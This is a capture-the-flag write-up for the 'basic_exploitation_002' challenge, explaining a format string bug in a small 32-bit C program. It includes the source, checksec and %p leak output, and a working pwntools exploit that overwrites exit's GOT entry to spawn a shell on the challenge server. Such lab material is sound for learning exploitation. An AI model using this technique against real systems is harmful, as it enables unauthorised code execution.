Write-up of the challenge “basic_exploitation_002”
This challenge is part of the “Binary exploitation” category and is in Level 2.
Goal of the challenge
The objective of this challenge is to perform Format string attack
Program structure
#include <stdio.h>#include <stdlib.h>#include <signal.h>#include <unistd.h>
void alarm_handler() { puts("TIME OUT"); exit(-1);}
void initialize() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler); alarm(30);}
void get_shell() { system("/bin/sh");}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
read(0, buf, 0x80); printf(buf);
exit(0);}Security breach
The vulnerability here is Format string attack:
printf(buf);It doesn’t specfiy any options like %p or %x e.t.c.
Solution
First I checked the protection on the binary using checksec and I got this back:
Arch: i386-32-littleRELRO: Partial RELROStack: No canary foundNX: NX enabledPIE: No PIE (0x8048000)Great this means that the most addresses are fixed and that means we don’t have to leak any address during runtime!
So after that I decided to do some fuzz test of sending as much %p I can and I got this in return:
0x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x702570250x70257025(nil)0xf7c95ec30x10xffa4afa40xffa4afac0xffa4af100xf7ea3e140x804861c0x10xffa4afa40xf7ea3e140x80486500xf7f01c60(nil)0xf10191f40x2ae177e4(nil)(nil)(nil)0xf7f01c60(nil)0x597e86000xf7f02a700xf7c95e560xf7ea3e140xf7c95f880xf7ecbac40xf7f01fd40x10x80484b0(nil)0xf7eddbb0As you can see the first element is already our input, and that means that the fmstr_payload should have an offset of one. My idea was to either use exit got and ovewrite it with the get_shell or use a stack address to ovewrite it with get_shell, in the end I decided to overwrite the exit got with get shell.
Note that the reason why the exit got worked in this exploit is because of this line in the binary and because there is no PIE:
exit(0);from pwn import *
# p = process('./basic_exploitation_002')p = remote('host8.dreamhack.games', 21153)
elf = ELF('./basic_exploitation_002')
payload = fmtstr_payload(1, {elf.got['exit']: elf.sym['get_shell']}, write_size='short')
p.sendline(payload)
p.interactive()